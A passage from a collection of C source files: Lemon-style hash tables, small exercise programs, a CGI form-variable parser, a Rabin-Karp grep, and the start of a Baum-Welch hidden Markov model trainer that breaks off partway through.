(sizeof(x2node) + sizeof(x2node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x2node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x2a->count; i++){
x2node *oldnp, *newnp;
oldnp = &(x2a->tbl[i]);
h = strhash(oldnp->key) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->key = oldnp->key;
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x2a->tbl);
*x2a = array;
}
/* Insert the new data */
h = ph & (x2a->size-1);
np = &(x2a->tbl[x2a->count++]);
np->key = key;
np->data = data;
if( x2a->ht[h] ) x2a->ht[h]->from = &(np->next);
np->next = x2a->ht[h];
x2a->ht[h] = np;
np->from = &(x2a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct symbol *Symbol_find(key)
char *key;
{
int h;
x2node *np;
if( x2a==0 ) return 0;
h = strhash(key) & (x2a->size-1);
np = x2a->ht[h];
while( np ){
if( strcmp(np->key,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return the n-th data. Return NULL if n is out of range. */
struct symbol *Symbol_Nth(n)
int n;
{
struct symbol *data;
if( x2a && n>0 && n<=x2a->count ){
data = x2a->tbl[n-1].data;
}else{
data = 0;
}
return data;
}
/* Return the size of the array */
int Symbol_count()
{
return x2a ? x2a->count : 0;
}
/* Return an array of pointers to all data in the table.
** The array is obtained from malloc. Return NULL if memory allocation
** problems, or if the array is empty. */
struct symbol **Symbol_arrayof()
{
struct symbol **array;
int i,size;
if( x2a==0 ) return 0;
size = x2a->count;
array = (struct symbol **)malloc( sizeof(struct symbol *)*size );
if( array ){
for(i=0; i<size; i++) array[i] = x2a->tbl[i].data;
}
return array;
}
/* Compare two configurations */
int Configcmp(a,b)
struct config *a;
struct config *b;
{
int x;
x = a->rp->index - b->rp->index;
if( x==0 ) x = a->dot - b->dot;
return x;
}
/* Compare two states */
PRIVATE int statecmp(a,b)
struct config *a;
struct config *b;
{
int rc;
for(rc=0; rc==0 && a && b; a=a->bp, b=b->bp){
rc = a->rp->index - b->rp->index;
if( rc==0 ) rc = a->dot - b->dot;
}
if( rc==0 ){
if( a ) rc = 1;
if( b ) rc = -1;
}
return rc;
}
/* Hash a state */
PRIVATE int statehash(a)
struct config *a;
{
int h=0;
while( a ){
h = h*571 + a->rp->index*37 + a->dot;
a = a->bp;
}
return h;
}
/* Allocate a new state structure */
struct state *State_new()
{
struct state *new;
new = (struct state *)malloc( sizeof(struct state) );
MemoryCheck(new);
return new;
}
/* There is one instance of the following structure for each
** associative array of type "x3".
*/
struct s_x3 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x3node *tbl; /* The data stored here */
struct s_x3node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x3".
*/
typedef struct s_x3node {
struct state *data; /* The data */
struct config *key; /* The key */
struct s_x3node *next; /* Next entry with the same hash */
struct s_x3node **from; /* Previous link */
} x3node;
/* There is only one instance of the array, which is the following */
static struct s_x3 *x3a;
/* Allocate a new associative array */
void State_init(){
if( x3a ) return;
x3a = (struct s_x3*)malloc( sizeof(struct s_x3) );
if( x3a ){
x3a->size = 128;
x3a->count = 0;
x3a->tbl = (x3node*)malloc(
(sizeof(x3node) + sizeof(x3node*))*128 );
if( x3a->tbl==0 ){
free(x3a);
x3a = 0;
}else{
int i;
x3a->ht = (x3node**)&(x3a->tbl[128]);
for(i=0; i<128; i++) x3a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int State_insert(data,key)
struct state *data;
struct config *key;
{
x3node *np;
int h;
int ph;
if( x3a==0 ) return 0;
ph = statehash(key);
h = ph & (x3a->size-1);
np = x3a->ht[h];
while( np ){
if( statecmp(np->key,key)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x3a->count>=x3a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x3 array;
array.size = size = x3a->size*2;
array.count = x3a->count;
array.tbl = (x3node*)malloc(
(sizeof(x3node) + sizeof(x3node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x3node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x3a->count; i++){
x3node *oldnp, *newnp;
oldnp = &(x3a->tbl[i]);
h = statehash(oldnp->key) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->key = oldnp->key;
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x3a->tbl);
*x3a = array;
}
/* Insert the new data */
h = ph & (x3a->size-1);
np = &(x3a->tbl[x3a->count++]);
np->key = key;
np->data = data;
if( x3a->ht[h] ) x3a->ht[h]->from = &(np->next);
np->next = x3a->ht[h];
x3a->ht[h] = np;
np->from = &(x3a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct state *State_find(key)
struct config *key;
{
int h;
x3node *np;
if( x3a==0 ) return 0;
h = statehash(key) & (x3a->size-1);
np = x3a->ht[h];
while( np ){
if( statecmp(np->key,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Return an array of pointers to all data in the table.
** The array is obtained from malloc. Return NULL if memory allocation
** problems, or if the array is empty. */
struct state **State_arrayof()
{
struct state **array;
int i,size;
if( x3a==0 ) return 0;
size = x3a->count;
array = (struct state **)malloc( sizeof(struct state *)*size );
if( array ){
for(i=0; i<size; i++) array[i] = x3a->tbl[i].data;
}
return array;
}
/* Hash a configuration */
PRIVATE int confighash(a)
struct config *a;
{
int h=0;
h = h*571 + a->rp->index*37 + a->dot;
return h;
}
/* There is one instance of the following structure for each
** associative array of type "x4".
*/
struct s_x4 {
int size; /* The number of available slots. */
/* Must be a power of 2 greater than or */
/* equal to 1 */
int count; /* Number of currently slots filled */
struct s_x4node *tbl; /* The data stored here */
struct s_x4node **ht; /* Hash table for lookups */
};
/* There is one instance of this structure for every data element
** in an associative array of type "x4".
*/
typedef struct s_x4node {
struct config *data; /* The data */
struct s_x4node *next; /* Next entry with the same hash */
struct s_x4node **from; /* Previous link */
} x4node;
/* There is only one instance of the array, which is the following */
static struct s_x4 *x4a;
/* Allocate a new associative array */
void Configtable_init(){
if( x4a ) return;
x4a = (struct s_x4*)malloc( sizeof(struct s_x4) );
if( x4a ){
x4a->size = 64;
x4a->count = 0;
x4a->tbl = (x4node*)malloc(
(sizeof(x4node) + sizeof(x4node*))*64 );
if( x4a->tbl==0 ){
free(x4a);
x4a = 0;
}else{
int i;
x4a->ht = (x4node**)&(x4a->tbl[64]);
for(i=0; i<64; i++) x4a->ht[i] = 0;
}
}
}
/* Insert a new record into the array. Return TRUE if successful.
** Prior data with the same key is NOT overwritten */
int Configtable_insert(data)
struct config *data;
{
x4node *np;
int h;
int ph;
if( x4a==0 ) return 0;
ph = confighash(data);
h = ph & (x4a->size-1);
np = x4a->ht[h];
while( np ){
if( Configcmp(np->data,data)==0 ){
/* An existing entry with the same key is found. */
/* Fail because overwrite is not allows. */
return 0;
}
np = np->next;
}
if( x4a->count>=x4a->size ){
/* Need to make the hash table bigger */
int i,size;
struct s_x4 array;
array.size = size = x4a->size*2;
array.count = x4a->count;
array.tbl = (x4node*)malloc(
(sizeof(x4node) + sizeof(x4node*))*size );
if( array.tbl==0 ) return 0; /* Fail due to malloc failure */
array.ht = (x4node**)&(array.tbl[size]);
for(i=0; i<size; i++) array.ht[i] = 0;
for(i=0; i<x4a->count; i++){
x4node *oldnp, *newnp;
oldnp = &(x4a->tbl[i]);
h = confighash(oldnp->data) & (size-1);
newnp = &(array.tbl[i]);
if( array.ht[h] ) array.ht[h]->from = &(newnp->next);
newnp->next = array.ht[h];
newnp->data = oldnp->data;
newnp->from = &(array.ht[h]);
array.ht[h] = newnp;
}
free(x4a->tbl);
*x4a = array;
}
/* Insert the new data */
h = ph & (x4a->size-1);
np = &(x4a->tbl[x4a->count++]);
np->data = data;
if( x4a->ht[h] ) x4a->ht[h]->from = &(np->next);
np->next = x4a->ht[h];
x4a->ht[h] = np;
np->from = &(x4a->ht[h]);
return 1;
}
/* Return a pointer to data assigned to the given key. Return NULL
** if no such key. */
struct config *Configtable_find(key)
struct config *key;
{
int h;
x4node *np;
if( x4a==0 ) return 0;
h = confighash(key) & (x4a->size-1);
np = x4a->ht[h];
while( np ){
if( Configcmp(np->data,key)==0 ) break;
np = np->next;
}
return np ? np->data : 0;
}
/* Remove all data from the table. Pass each data to the function "f"
** as it is removed. ("f" may be null to avoid this step.) */
void Configtable_clear(f)
int(*f)(/* struct config * */);
{
int i;
if( x4a==0 || x4a->count==0 ) return;
if( f ) for(i=0; i<x4a->count; i++) (*f)(x4a->tbl[i].data);
for(i=0; i<x4a->size; i++) x4a->ht[i] = 0;
x4a->count = 0;
return;
}
|
the_stack_data/437069.c | #include <stdio.h>
#include <string.h>
#include <stdlib.h>
int is_palindrome(long int n) {
long int reversedInteger = 0, remainder, originalInteger = n;
while(n != 0) {
remainder = n % 10;
reversedInteger = reversedInteger*10 + remainder;
n /= 10;
}
return originalInteger == reversedInteger;
}
int main() {
int t, num;
scanf("%d", &t);
for(int z = 0; z < t; z++) {
scanf("%d", &num);
long int pal = 0;
for(int i = 100; i < 1000; i++) {
for(int j = 100; j < 1000; j++) {
long int x = i*j;
if(is_palindrome(x) && (x > pal) && (x < num)) {
pal = x;
}
}
}
printf("%ld\n", pal);
}
return 0;
}
|
the_stack_data/70081.c | #include <stdio.h>
#include <stdlib.h>
int main()
{
int a;
printf("Enter an integer: ");
scanf("%d",&a);
if (a%3==0 && a%5==0)
printf("\n%d is divisible by 3 and 5.\n",a);
else
printf("\n%d is not divisible by 3 and 5.\n",a);
return 0;
}
|
the_stack_data/170454022.c | /*
* Proccgi
*
* Reads form variables and dumps them on standard output.
* Distributed by the GNU General Public License. Use and be happy.
*
* Frank Pilhofer
* [email protected]
*
* Last changed 11/06/1997
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <memory.h>
/*
* Duplicate string
*/
char *
FP_strdup (char *string)
{
char *result;
if (string == NULL)
return NULL;
if ((result = (char *) malloc (strlen (string) + 1)) == NULL) {
fprintf (stderr, "proccgi -- out of memory dupping %d bytes\n",
(int) strlen (string));
return NULL;
}
strcpy (result, string);
return result;
}
/*
* Read CGI input
*/
char *
LoadInput (void)
{
char *result, *method, *p;
int length, ts;
if ((method = getenv ("REQUEST_METHOD")) == NULL) {
return NULL;
}
if (strcmp (method, "GET") == 0) {
if ((p = getenv ("QUERY_STRING")) == NULL)
return NULL;
else
result = FP_strdup (p);
}
else if (strcmp (method, "POST") == 0) {
if ((length = atoi (getenv ("CONTENT_LENGTH"))) == 0)
return NULL;
if ((result = malloc (length + 1)) == NULL) {
fprintf (stderr, "proccgi -- out of memory allocating %d bytes\n",
length);
return NULL;
}
if ((ts = fread (result, sizeof (char), length, stdin)) < length) {
fprintf (stderr, "proccgi -- error reading post data, %d bytes read, %d expedted\n",
ts, length);
}
result[length] = '\0';
}
else {
return NULL;
}
return result;
}
/*
* Parse + and %XX in CGI data
*/
char *
ParseString (char *instring)
{
char *ptr1=instring, *ptr2=instring;
if (instring == NULL)
return instring;
while (isspace (*ptr1))
ptr1++;
while (*ptr1) {
if (*ptr1 == '+') {
ptr1++; *ptr2++=' ';
}
else if (*ptr1 == '%' && isxdigit (*(ptr1+1)) && isxdigit (*(ptr1+2))) {
ptr1++;
*ptr2 = ((*ptr1>='0'&&*ptr1<='9')?(*ptr1-'0'):((char)toupper(*ptr1)-'A'+10)) << 4;
ptr1++;
*ptr2++ |= ((*ptr1>='0'&&*ptr1<='9')?(*ptr1-'0'):((char)toupper(*ptr1)-'A'+10));
ptr1++;
}
else
*ptr2++ = *ptr1++;
}
while (ptr2>instring && isspace(*(ptr2-1)))
ptr2--;
*ptr2 = '\0';
return instring;
}
/*
* break into attribute/value pair. Mustn't use strtok, which is
* already used one level below. We assume that the attribute doesn't
* have any special characters.
*/
void
HandleString (char *input)
{
char *data, *ptr, *p2;
if (input == NULL) {
return;
}
data = FP_strdup (input);
ptr = ParseString (data);
/*
* Security:
*
* only accept all-alphanumeric attributes, and don't accept empty
* values
*/
if (!isalpha(*ptr) && *ptr != '_') {free (data); return;}
ptr++;
while (isalnum(*ptr) || *ptr == '_') ptr++;
if (*ptr != '=') {free (data); return;}
*ptr = '\0';
p2 = ptr+1;
fprintf (stdout, "FORM_%s=\"", data);
/*
* escape value
*/
while (*p2) {
switch (*p2) {
case '"': case '\\': case '`': case '$':
putc ('\\', stdout);
default:
putc (*p2, stdout);
break;
}
p2++;
}
putc ('"', stdout);
putc ('\n', stdout);
*ptr = '=';
free (data);
}
int
main (int argc, char *argv[])
{
char *ptr, *data = LoadInput();
int i;
/*
* Handle CGI data
*/
if (data) {
ptr = strtok (data, "&");
while (ptr) {
HandleString (ptr);
ptr = strtok (NULL, "&");
}
free (data);
}
/*
* Add Path info
*/
if (getenv ("PATH_INFO") != NULL) {
data = FP_strdup (getenv ("PATH_INFO"));
ptr = strtok (data, "/");
while (ptr) {
HandleString (ptr);
ptr = strtok (NULL, "/");
}
free (data);
}
/*
* Add args
*/
for (i=1; i<argc; i++) {
HandleString (argv[i]);
}
/*
* done
*/
return 0;
}
|
the_stack_data/1269008.c | /* Copyright (c) 2019-2021 Grant Hadlich
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the Software), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED AS IS, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <math.h>
//a^b = e^(b*ln(a))
double myPow(double x, int n){
double ret = 1;
long long power = n;
if (n == 0 || x == 0.0) {
return 1;
}
if (x == 1.0) return 1;
if (power < 0) {
x = 1/x;
power = -power;
}
while (power > 0) {
if (power % 2 == 0) {
x *= x;
power /= 2;
}
else {
ret *=x;
power--;
}
}
return ret;
} |
the_stack_data/206393409.c | #include <stdlib.h>
#include <stdio.h>
#include <string.h>
#define q 101 // a prime number
int compute_hash(char *word, int n) {
int i, h = 0, d = 1 << 8*sizeof(char);
for (i = 0; i < n; ++i)
h = (h * d + word[i]) % q;
return h;
}
void print_if_contains(char *word, int n, int ph, char *line, int len) {
// Rabin Karp string matching algorithm
if (len >= n) {
int msv = 1;
int i, j, d = 1 << 8*sizeof(char);
// msv will be multiplied to the most significant char
for (i = 0; i < n - 1; ++i) // msv = pow(d, n - 1) % q
msv = (msv * d) % q;
int th = compute_hash(line, n); // hash for 1st window of text
for (i = 0; i < len - n + 1; ++i) {
if (ph == th) {
for (j = 0; j < n; ++j) {
if (word[j] != line[i+j])
break;
}
if (j == n) {
fwrite(line, len, 1, stdout);
return;
}
}
// (a*b)%c = (a%c * b%c)%c
th = (((th - line[i]*msv % q)*d % q) + line[i+n]) % q;
}
}
return;
}
int main(int argc, char *argv[]) {
FILE *stream;
if (argc == 2) {
stream = stdin;
} else if (argc == 3) {
stream = fopen(argv[2], "r");
if (stream == NULL) {
printf("wgrep: cannot open file\n");
exit(1);
}
} else {
printf("wgrep: searchterm [file ...]\n");
exit(1);
}
ssize_t nread; // or long signed int nread;
size_t len = 0; // or long unsigned int len = 0;;
char *line = NULL; // or (char*) malloc(len);
int n = strlen(argv[1]);
int ph = compute_hash(argv[1], n); // pattern hash
while ((nread = getline(&line, &len, stream)) != -1)
print_if_contains(argv[1], n, ph, line, nread);
free(line);
fclose(stream);
exit(0);
}
|
the_stack_data/18888088.c | #include<stdio.h>
int main(){
int x=10; //variable declaration
int *p; //pointer declaration
p=&x; //pointer asign address of x
/* char ch='A';
char* p=&ch;
int* ip=&x;
*/ // printf("p=%d\n",p);
// printf("ip=%c\n",p);
// printf("address of x=%d\n",&x);
// printf("%ld\n%ld\n",sizeof(p),sizeof(ip));
printf("%p\n\n\n",&x);
printf("%p\n",p);
/* printf("x=%d\n",x);
printf("ch=%c\n",ch);
printf("ip=%d\n",*ip);
printf("cp=%d\n",*p);
printf("size of ip=%ld\n",sizeof(ip));
printf("size of cp=%ld\n",sizeof(p));
*/ return 0;
}
|
the_stack_data/71309.c | /*
********************************************************************************
* *
Name: hmm_continuous_full_fs.c
Author: Jose
Date: march/95
Description: This program creates a continuous Markov model, using the Baum-Welch (forward-backward) algorithm. This algorithm is described int the paper " A Tutorial on Hidden Markov Models and selected Applications on Speech Recognition " of L. R. Rabiner. ( february of 1989). It is considered full covariance matrix.
This program must be used to create model for isolated words. The model that represents each word will be stored in a separated file.
Inputs: word that will be represented by the model, number of states,
number of parameters to train the model, number of mixtures,
names of files with parameters, output file name,
name of initial model, if there is one.
Outputs: model file.
* * ********************************************************************************
*/
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <time.h>
#include <ctype.h>
#include <string.h>
#include <sys/types.h>
#include <sys/times.h>
#define THRESHOULD 1.0e-3 /* threshould to finish the training procedure */
#define DELTA 1 /* maximum difference between index of states where transition is allowed */
#define FINITE_PROBAB 1.0e-5 /* minimum value of mixture coefficients and elements of diagonal covariance matrix */
#define MAX_COEF_NUMBER 9 /* maximum number of coefficients per vector */
#define MAX_STATES_NUMBER 20 /* maximum number of states */
#define MAX_PARAMETERS_NUMBER 6 /* maximum number of parameters */
#define MAX_MIXTURE_NUMBER 3 /* maximum number of mixtures */
#define MAX_TIME 500 /* maximum time */
#define MAX_STRING_SIZE 100
#define MAX_WORD_SIZE 50
/* global variables */
FILE* f_in[MAX_PARAMETERS_NUMBER];
FILE* f_in1; /* input file pointers */
FILE* f_out; /* output file pointer */
struct mixture
{ /* mixture */
double mean[MAX_COEF_NUMBER]; /* mixture mean vector */
double cov_matrix[MAX_COEF_NUMBER][MAX_COEF_NUMBER]; /* mixture diagonal covariance matrix */
double det; /* covariance matrix determinant */
}; /* end of struct mixture */
struct state
{
double mix_coef[MAX_MIXTURE_NUMBER]; /* mixture coefficients */
struct mixture mix[MAX_MIXTURE_NUMBER]; /* mixtures */
}; /* end of structure state */
/* functions */
FILE *opening_file_read( ); /* open file for reading */
FILE *opening_file_write( ); /* open file for writing */
int reading_param_file_name( ); /* read parameter file name */
int reading_coef( ); /* read coefficients */
int reading_coef_number( ); /* read number of coefficients */
void reading_model( ); /* read model */
void creating_initial_model( ); /* create initial model */
void init_transition_probab( ); /* calculate intial transition probabilities */
void init_mix_param( ); /* calculate initial set of mixture parameters */
void init_mix_mean( ); /* create an initial set of mixture means */
void splitting( ); /* split each mixture mean in 2 new mixture means */
void calc_symbol_probab( ); /* calculate output symbol probability density */
double calc_gaus( ); /* calculate gaussian probability density of each mixture */
double classifying( ); /* classify a vector in a cluster */
void new_mix_mean( ); /* calculate new mixture means */
void sorting( ); /* sort index of cells */
void changing_zero_coef( ); /* change mixture coefficients less than threshould */
void calc_alpha( ); /* calculate forward variable */
void calc_beta( ); /* calculate backward variable */
double calc_probability( ); /* calculate probability */
void calc_transition_probab( ); /* calculate transition probabilities */
void calc_den_mix_coef( ); /* calculate variable to calculate mixture coefficients */
void calc_mix_param( ); /* calculate mixture probabilities */
void updating_transition_probab( ); /* update transition probabilities */
void updating_mix_param( ); /* update mixture parameters */
void decomposition( ); /* decomposes covariance matrix as TDT' */
double calc_det( ); /* calculate diagonal matrix determinat */
void inv_triang_matrix( ); /* invert triangular matrix */
double inv_cov_matrix( ); /* invert covariance matrix */
void treat_zero_det( ); /* treat mixtures with cov. matrix determinant equal to zero */
void writing_model( ); /* write model */
void writing_text( ); /* write text file about model */
int main (int argc, char *argv[]) /* main program */
{
double transition_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER]; /* transition probabilities */
double symbol_probab[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER][MAX_TIME]; /* symbol probabilities */
double gaus_probab_dens[MAX_PARAMETERS_NUMBER][MAX_TIME][MAX_STATES_NUMBER][MAX_MIXTURE_NUMBER]; /* gaussian probability density */
double alpha[MAX_STATES_NUMBER][MAX_TIME]; /* forward variable */
double beta[MAX_STATES_NUMBER][MAX_TIME]; /* backward variable */
double scaling_factor[MAX_TIME]; /* scaling factor */
double num_trans_probab[MAX_STATES_NUMBER][MAX_STATES_NUMBER]; /* variable to calculate transition probabilities */
double den_trans_probab[MAX_STATES_NUMBER]; /* variable to calculate transition probabilities */
double den_mixture_coef[MAX_STATES_NUMBER]; /* variable to calculate mixture coefficients */
double coef_vector[MAX_COEF_NUMBER]; /* vector of coefficients */
int coef_number[MAX_PARAMETERS_NUMBER]; /* number of coefficients per vector */
int mixture_number[MAX_PARAMETERS_NUMBER]; /* number of mixtures per state (number of mixtures may be different for each parameter) */
int pi[MAX_STATES_NUMBER]; /* initial state probability */
char data_file[MAX_PARAMETERS_NUMBER][MAX_STRING_SIZE]; /* data file */
char param_file[MAX_PARAMETERS_NUMBER][MAX_STRING_SIZE]; /* parameters files */
char starting_time_f[25]; /* variable to store formatted stating time */
char ending_time_f[25]; /* variable to store formatted stating time */
char cpu_time_f[25]; /* variable to store formatted cpu time */
char output_file[MAX_STRING_SIZE]; /* output file names */
char text_file[MAX_STRING_SIZE]; /* text file name */
char initial_model[MAX_STRING_SIZE]; /* name of initial model */
char word[MAX_WORD_SIZE]; /* word to create the model */
struct state state_mix[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER]; /* array with mixture parameters (considering all states and all kind of parameters ) */
struct state num_mix_param[MAX_PARAMETERS_NUMBER][MAX_STATES_NUMBER]; /* variable to calculate mixtures parameters */
double probab; /* total probability in each iteration */
double old_probab = 1.0; /* probability in the last iteration */
double probab_variation; /* probability variation between 2 consecutive iterations */
double aux; /* auxiliar variable */
int param_number; /* number of parameters to create the model */
int states_number; /* number of states in the HMM */
int obs_time; /* time (number of frames in each observation sequence) */
int iteration = 0; /* number of iterations */
int exemplar_number; /* number of exemplar in training sequence */
struct tm *cpu_tm; /* get process times */
struct tms aux_time; /* auxiliar variable to compute cpu time */
time_t cpu_time; /* cpu time */
time_t starting_time; /* variable to get starting time */
time_t ending_time; /* variable to get starting time */
register int i,j,k,l,m; /* variables to control loops */
time(&starting_time); /* getting starting time */
strftime(starting_time_f,100,"%d-%h-%Y %X",localtime(&starting_time)); /* formatting the date (dd-mm-yyyy) and time (hh:mm:ss) */
/* testing the number of arguments in the command line */
if (argc < 7)
{
puts("Usage: hmm_continuous_full_fs word states_number param_number mix_number1 ... mix_numberN input_file1 ... input_fileN output_file [initial_model]");
puts("word: word that will be represented by the model");
puts("states_number: number of states");
puts("param_number: number of parameters to train the model");
puts("mix_number1: number of mixtures per state (parameter 1)");
puts("mix_numberN: number of mixtures per state (parameter N)");
puts("input_file1: name of file with names of files with parameters 1");
puts("input_fileN: name of file with names of files with parameters N");
puts("output_file: output file name");
puts("initial_model: name of initial model, if there is one");
exit(1);
}
strncpy(word,argv[1],MAX_WORD_SIZE); /* word that will be represented by the model */
states_number = atoi(argv[2]); /* number of states to create the model */
param_number = atoi(argv[3]); /* number of parameters to create the model */
for (i=0;i<param_number;i++) mixture_number[i] = atoi(argv[4+i]); /* number of mixtures to create the model */
strncpy(output_file,argv[2*param_number+4],MAX_STRING_SIZE); /* output file name */
/* creating the name of text file. The name is equal the name of output file with extension "TXT". This file contains information about the model */
strncpy(text_file, output_file,MAX_STRING_SIZE);
strtok(text_file,".");
strncat(text_file,".txt",MAX_STRING_SIZE);
/* opening data file */
for (i=0;i<param_number;i++)
{
strcpy(data_file[i],argv[param_number+4+i]);
f_in[i] = opening_file_read(data_file[i],"r");
}
if (argc == 2*param_number + 6)
{ /* testing if there is an initial model */
strcpy(initial_model,argv[argc]); /* initial model file name */
/* reading initial model */
reading_model(initial_model,¶m_number,&states_number,mixture_number,
coef_number,transition_probab,state_mix,word);
}
else
{
/* creating initial model */
creating_initial_model(param_number,data_file,states_number,mixture_number,
coef_number,transition_probab,state_mix);
}
/* setting inital states probability */
/* as the left-right model is being used, the initial state is always the state 0 */
pi[0] = 1;
for (i=1;i<states_number;i++) pi[i] = 0;
/* creation of a HMM using Forward-Backward algorithm (Baum-Welch) */
printf("\r\nCreating HMM using Forward-Backward algorithm (Baum-Welch)");
do
{
iteration++;
exemplar_number = 0;
probab = 0.0;
/* setting arrays num_trans_probab and den_trans_probab to zero */
for (i=0;i<states_number;i++)
{
for (j=0;j<states_number;j++) num_trans_probab[i][j] = 0.0;
den_trans_probab[i] = 0.0;
den_mixture_coef[i] = 0.0;
}
/* setting arrays mix_coef, mean and cov_matrix to zero */
for (i=0;i<param_number;i++)
{
for (j=0;j<states_number;j++)
{
for (k=0;k<mixture_number[i];k++)
{
for (l=0;l<coef_number[i];l++)
{
num_mix_param[i][j].mix[k].mean[l] = 0.0;
for (m=0;m<coef_number[i];m++) num_mix_param[i][j].mix[k].cov_matrix[l][m] = 0.0;
}
num_mix_param[i][j].mix_coef[k] = 0.0;
}
}
}
printf("\r\nStarting training sequence");
while (reading_param_file_name(f_in,data_file,param_file,param_number) != EOF) /* testing training sequence end */
{
for (i=0;i<param_number;i++)
{
printf("\r\nOpenning %s",param_file[i]);
f_in1 = opening_file_read(param_file[i],"rb"); /* opening data file */
obs_time = 0;
reading_coef_number(f_in1,param_file[i]);
while (reading_coef(f_in1,param_file[i],coef_number[i], coef_vector) != 0)
{
calc_symbol_probab(states_number,mixture_number[i],
coef_number[i],coef_vector,state_mix[i],gaus_probab_dens[i][obs_time],
symbol_probab[i],obs_time); /* computing symbol probabilities */
obs_time++;
} /* end of while */
fclose(f_in1); /* closing data file */
} /* end of for */
printf("\r\nCalculating alpha, beta and transitions probabilities...");
calc_alpha(states_number,obs_time,param_number,alpha,scaling_factor,
transition_probab,symbol_probab,pi);
calc_beta(states_number,obs_time,param_number,beta,scaling_factor,
transition_probab,symbol_probab);
calc_transition_probab(states_number,obs_time,param_number,alpha,
beta,scaling_factor,transition_probab,symbol_probab,num_trans_probab,
den_trans_probab );
calc_den_mix_coef(obs_time,states_number,alpha,beta,scaling_factor,
den_mixture_coef);
for (i=0;i<param_number;i++)
{
obs_time = 0;
f_in1 = opening_file_read(param_file[i],"rb"); /* opening data file */
reading_coef_number(f_in1,param_file[i]);
while (reading_coef(f_in1,param_file[i],coef_number[i], coef_vector) != 0)
{
calc_mix_param(obs_time,states_number,
mixture_number[i],coef_number[i],coef_vector,alpha,beta,scaling_factor,
gaus_probab_dens[i][obs_time],num_mix_param[i],state_mix[i]); /* computing mixture parameters */
obs_time++;
} /* end of while */
fclose(f_in1); /* closing data file */
}
probab += calc_probability(obs_time,scaling_factor, alpha[states_number-1][obs_time-1]);
exemplar_number++;
} /* end of while (end of training sequence ) */
printf("\r\nEnding training sequence");
/* distortion variation between two consecutive iterations */
probab_variation = fabs((old_probab - probab)/old_probab);
printf("\r\nVerifying Probability: %f > Threshold: %f", probab_variation, THRESHOULD);
if (probab_variation > THRESHOULD)
{
old_probab = probab;
/* updating transition probabilities */
updating_transition_probab(states_number,num_trans_probab,
den_trans_probab,transition_probab );
/* updating mixture parameters */
for (i=0;i<param_number;i++)
{
updating_mix_param(states_number,mixture_number[i],
coef_number[i],den_mixture_coef, num_mix_param[i],state_mix[i]);
if (coef_number[i] > 1)
{
for (j=0;j<states_number;j++)
{
for (k=0;k<mixture_number[i];k++)
{
state_mix[i][j].mix[k].det = inv_cov_matrix(coef_number[i],state_mix[i][j].mix[k].cov_matrix);
}
treat_zero_det(coef_number[i],mixture_number[i],&(state_mix[i][j]));
}
}
else
{
for (j=0;j<states_number;j++)
{
for (k=0;k<mixture_number[i];k++)
{
state_mix[i][j].mix[k].det = state_mix[i][j].mix[k].cov_matrix[0][0];
state_mix[i][j].mix[k].cov_matrix[0][0] = 1.0/state_mix[i][j].mix[k].cov_matrix[0][0];
}
}
}
}
for (i=0;i<param_number;i++) rewind(f_in[i]);
}
/* end of do-while */
}while ( probab_variation > THRESHOULD); /* comparing the probability variation with the threshould to finish model creation */
printf("\r\nFinal Probability = %f\r\n\r\n",probab_variation);
probab /= (double) exemplar_number;
/* computing cpu time */
times(&aux_time); /* getting cpu time */
aux = (aux_time.tms_utime )/60.0;
cpu_time = (int) aux;
cpu_tm = gmtime(&cpu_time);
cpu_tm->tm_mday -= 1;
strftime(cpu_time_f,50,"%d %X",cpu_tm); /* formatting cpu time (dd hh:mm:ss) */
time(&ending_time); /* getting starting time */
strftime(ending_time_f,100,"%d-%h-%Y %X",localtime(&ending_time)); /* formatting the date (dd-mm-yyyy) and time (hh:mm:ss) */
for (i=0;i<param_number;i++) fclose(f_in[i]); /* closing data files */
f_out = opening_file_write(output_file,"wb");
